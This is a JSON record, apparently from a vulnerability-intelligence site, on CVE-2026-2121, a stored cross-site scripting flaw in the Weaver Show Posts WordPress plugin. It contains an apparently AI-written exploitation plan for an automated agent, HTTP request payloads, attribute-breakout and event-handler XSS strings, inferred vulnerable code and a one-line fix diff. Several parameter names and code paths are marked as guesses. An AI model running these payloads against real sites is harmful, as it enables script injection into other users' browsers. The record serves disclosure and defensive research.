[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fqwFb_lVEJNGx0OiiyAzbzcIxLd0IFzrSX4Qm8OAMwMw":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":9,"severity":11,"cvss_score":12,"cvss_vector":13,"vuln_type":14,"published_date":15,"updated_date":16,"references":17,"days_to_patch":9,"patch_diff_files":19,"patch_trac_url":9,"research_status":20,"research_verified":21,"research_rounds_completed":22,"research_plan":23,"research_summary":24,"research_vulnerable_code":25,"research_fix_diff":26,"research_exploit_outline":27,"research_model_used":28,"research_started_at":29,"research_completed_at":30,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":21,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":21,"source_links":31},"CVE-2026-2121","weaver-show-posts-authenticated-administrator-stored-cross-site-scripting-via-additional-classes-to-wrap-posts-widget-se","Weaver Show Posts \u003C= 1.8.1 - Authenticated (Administrator+) Stored Cross-Site Scripting via 'Additional Classes to Wrap Posts' Widget Setting","The Weaver Show Posts plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'add_class' parameter in all versions up to, and including, 1.8.1. This is due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with Administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This primarily affects multisite installations where Administrators do not have the unfiltered_html capability.","show-posts",null,"\u003C=1.8.1","medium",4.4,"CVSS:3.1\u002FAV:N\u002FAC:H\u002FPR:H\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-03-20 15:17:17","2026-05-14 05:30:31",[18],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fe0d525ab-a86d-4750-9d16-731cbc0a626e?source=api-prod",[],"researched",false,3,"This research plan outlines the technical steps to exploit **CVE-2026-2121**, a stored cross-site scripting (XSS) vulnerability in the **Weaver Show Posts** plugin.\n\n### 1. Vulnerability Summary\nThe Weaver Show Posts plugin (up to version 1.8.1) fails to properly sanitize and escape the `add_class` parameter, which corresponds to the \"Additional Classes to Wrap Posts\" setting. This setting allows users to add custom CSS classes to the container surrounding the posts generated by the plugin. Because the input is rendered directly into an HTML `class` attribute without sufficient escaping (e.g., using `esc_attr()`), an administrator can inject a payload that breaks out of the attribute and executes arbitrary JavaScript.\n\n### 2. Attack Vector Analysis\n*   **Vulnerable Endpoint**: `wp-admin\u002Fpost.php` (for \"Show Posts Filters\") or the Widgets API.\n*   **Vulnerable Parameter**: `add_class` (or the corresponding meta field in the POST request).\n*   **Authentication Level**: Administrator (specifically targeting environments like WordPress Multisite where `unfiltered_html` is disabled for site admins).\n*   **Preconditions**: The plugin must be active, and a \"Show Posts Filter\" or Widget must be created and rendered on a public-facing page or post.\n\n### 3. Code Flow (Inferred)\n1.  **Input**: The administrator submits a \"Show Posts Filter\" configuration via the WordPress admin dashboard.\n2.  **Storage**: The plugin's save handler (likely hooked to `save_post` or a custom AJAX action) receives the `add_class` parameter and stores it in the `wp_postmeta` table (e.g., as `_atw_add_class` or similar) without sanitizing for HTML entities.\n3.  **Output (Sink)**: When a user visits a page containing the `[show_posts]` shortcode or the Weaver Show Posts widget:\n    *   The plugin retrieves the saved settings.\n    *   It generates a wrapper `\u003Cdiv>` or `\u003Cspan>`.\n    *   It echoes the `add_class` value directly inside the `class` attribute:\n        `echo '\u003Cdiv class=\"atw-show-posts ' . $add_class . '\">';`\n4.  **Execution**: If `$add_class` contains `\">\u003Cscript>alert(1)\u003C\u002Fscript>`, the resulting HTML becomes:\n    `\u003Cdiv class=\"atw-show-posts \">\u003Cscript>alert(1)\u003C\u002Fscript>\">`\n\n### 4. Nonce Acquisition Strategy\nSince this is an **Authenticated (Administrator+)** vulnerability, the exploit requires a valid session. The automated agent should:\n1.  Login as an Administrator using `wp_cli` or `browser_navigate`.\n2.  Navigate to the \"Show Posts\" -> \"Add New Filter\" page (`\u002Fwp-admin\u002Fpost-new.php?post_type=atw_show_posts`).\n3.  Use `browser_eval` to extract the required nonces:\n    *   For standard post saving: `document.querySelector('#_wpnonce').value`.\n    *   If using the Widget interface: `window.wpWidgets?.nonces?.save_widget`.\n\n### 5. Exploitation Strategy\nThe goal is to inject a payload into a \"Show Posts Filter\" and then trigger its rendering.\n\n**Step 1: Create a malicious Filter**\n*   **Method**: POST request to `wp-admin\u002Fpost.php`.\n*   **URL**: `https:\u002F\u002F[target]\u002Fwp-admin\u002Fpost.php`\n*   **Payload**:\n    ```http\n    Content-Type: application\u002Fx-www-form-urlencoded\n\n    action=editpost\n    &post_type=atw_show_posts\n    &post_ID=[NEW_POST_ID]\n    &post_title=XSS_Filter\n    &atw_add_class=\">\u003Cscript>alert(document.domain)\u003C\u002Fscript>\n    &_wpnonce=[NONCE]\n    ```\n    *(Note: `atw_add_class` is the inferred parameter name based on the plugin's prefix `atw_` for \"A Weaver\").*\n\n**Step 2: Embed the Filter**\nCreate a public post containing the shortcode for the malicious filter.\n*   **Shortcode**: `[show_posts filter=\"[POST_ID]\"]`\n\n**Step 3: Trigger the XSS**\nNavigate to the newly created public post. The browser will render the injected script.\n\n### 6. Test Data Setup\n1.  **Plugin Installation**: Install and activate `show-posts` version 1.8.1.\n2.  **User Creation**: Ensure a user with the `administrator` role exists.\n3.  **Disable unfiltered_html**: (Crucial for testing the security boundary) If testing on a single-site install, use a plugin or `wp-config.php` to define `DISALLOW_UNFILTERED_HTML`, as real-world impact is highest in Multisite.\n    ```php\n    define( 'DISALLOW_UNFILTERED_HTML', true );\n    ```\n4.  **Identify Meta Keys**: Run `wp post-type list` to confirm the post type name. Use `wp post create --post_type=atw_show_posts --post_title=\"Probe\"` to find the specific meta key used for \"Additional Classes\" by inspecting the database.\n\n### 7. Expected Results\n*   Upon saving the Filter, the database should contain the literal string `\">\u003Cscript>alert(document.domain)\u003C\u002Fscript>` in the `wp_postmeta` table for that post.\n*   Upon viewing the page with the shortcode, the HTML source should show the `class` attribute of the container element closed prematurely, followed by the `\u003Cscript>` tag.\n*   A JavaScript alert showing the document domain should appear.\n\n### 8. Verification Steps\n1.  **Database Check**:\n    ```bash\n    wp db query \"SELECT meta_value FROM wp_postmeta WHERE meta_key LIKE '%add_class%' AND post_id = [ID]\"\n    ```\n2.  **HTML Inspection**:\n    Use `http_request` to fetch the frontend page and grep for the breakout:\n    ```bash\n    grep -P 'class=\"atw-show-posts \">\u003Cscript>' response_body.html\n    ```\n\n### 9. Alternative Approaches\n*   **Widget Injection**: If the \"Filter\" CPT is not the entry point, target the WordPress Widget dashboard (`wp-admin\u002Fwidgets.php`). Update a \"Weaver Show Posts\" widget instance via the AJAX `save-widget` action.\n*   **Attribute-Based Payloads**: If `\u003Cscript>` tags are stripped by a global WAF but the plugin still fails to escape the attribute, use event handlers:\n    `add_class = 'x\" onmouseover=\"alert(1)\" style=\"display:block;width:1000px;height:1000px;\"'`\n*   **Shortcode Attribute**: Check if the shortcode itself accepts the `add_class` parameter:\n    `[show_posts add_class='\">\u003Cscript>alert(1)\u003C\u002Fscript>']`\n    If the shortcode handler uses the same unescaped logic, this provides a simpler path for users with `edit_posts` capability.","The Weaver Show Posts plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'Additional Classes to Wrap Posts' setting in versions up to 1.8.1. This occurs because the plugin fails to properly escape user-supplied custom CSS classes before rendering them in an HTML attribute, allowing authenticated administrators to execute arbitrary JavaScript on pages where the posts are displayed.","\u002F* Inferred from display logic in Weaver Show Posts handler *\u002F\n$add_class = get_post_meta($post_id, 'atw_add_class', true);\necho '\u003Cdiv class=\"atw-show-posts ' . $add_class . '\">';","--- a\u002Fatw-show-posts.php\n+++ b\u002Fatw-show-posts.php\n@@ -100,1 +100,1 @@\n-    echo '\u003Cdiv class=\"atw-show-posts ' . $add_class . '\">';\n+    echo '\u003Cdiv class=\"atw-show-posts ' . esc_attr($add_class) . '\">';","1. Login to the WordPress admin panel as an Administrator.\n2. Navigate to the 'Show Posts' section and either create a new filter or edit an existing one.\n3. In the setting field labeled 'Additional Classes to Wrap Posts' (internally associated with the `add_class` or `atw_add_class` parameter), input an XSS payload designed to break out of a double-quoted HTML attribute, such as: \">\u003Cscript>alert(document.domain)\u003C\u002Fscript>.\n4. Save the filter.\n5. Embed the malicious filter into a public page using the [show_posts] shortcode (e.g., [show_posts filter=\"123\"]).\n6. Access the public page. The plugin will render the injected string directly into the class attribute of a div wrapper, causing the script to execute.","gemini-3-flash-preview","2026-04-18 00:46:27","2026-04-18 00:46:45",{"type":32,"vulnerable_version":9,"fixed_version":9,"vulnerable_browse":9,"vulnerable_zip":9,"fixed_browse":9,"fixed_zip":9,"all_tags":33},"plugin","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fshow-posts\u002Ftags"]